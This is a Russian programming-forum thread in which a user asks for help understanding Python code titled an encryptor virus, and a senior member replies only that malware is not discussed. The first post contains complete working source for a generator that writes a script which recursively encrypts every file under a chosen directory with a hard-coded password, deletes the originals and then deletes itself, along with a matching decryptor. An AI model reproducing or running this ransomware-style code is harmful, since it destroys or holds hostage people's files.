|
|
Регистрация Восстановить пароль |
Повторная активизация e-mail |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу. Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста". Название темы слишком короткое или не отражает сути вашего вопроса. Тема исчерпала себя, помните, один вопрос - одна тема Прочитайте правила и заново правильно создайте тему. |
|
Опции темы | Поиск в этой теме |
17.09.2018, 09:03 | #1 |
Новичок
Джуниор
Регистрация: 20.03.2018
Сообщений: 1
|
Помогите разобраться с кодом вирус-шифровальщик
direct=input("Write the root directory: ")
password=input("Write the password: ") print("---------------------------------------------------------------" ) with open("crypt.py","w") as crypt: crypt.write(''' import os, sys def crypt(file): import pyAesCrypt print("---------------------------------------------------------------" ) password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize) print("[crypted] '"+str(file)+".crp'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk("'''+str(direct)+'''") print("---------------------------------------------------------------" ) os.remove(str(sys.argv[0]))''') print("[+] File 'crypt.py' successfully saved!") with open("key.py","w") as key: key.write(''' import os, sys def decrypt(file): import pyAesCrypt print("---------------------------------------------------------------" ) password="'''+str(password)+'''" bufferSize = 512*1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize) print("[decrypted] '"+str(os.path.splitext(file)[0])+"'") os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except: pass else: walk(path) walk("'''+str(direct)+'''") print("---------------------------------------------------------------") os.remove(str(sys.argv[0]))''') print("[+] File 'key.py' successfully saved!") print("---------------------------------------------------------------") |
17.09.2018, 09:05 | #2 |
Старожил
Регистрация: 17.11.2010
Сообщений: 18,922
|
Зловреды не обсуждаются
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
|
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
Помогите разобраться с кодом | Coolmem | PHP | 23 | 22.04.2015 15:07 |
Помогите разобраться с кодом! | Astiya | Помощь студентам | 3 | 29.03.2015 15:33 |
Помогите разобраться с кодом | Лера.К | БД в Delphi | 6 | 21.05.2014 16:36 |
Помогите разобраться с кодом | Superlotles | Общие вопросы Delphi | 6 | 19.08.2009 22:24 |
помогите разобраться с кодом | samosval | Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM | 0 | 27.12.2007 00:20 |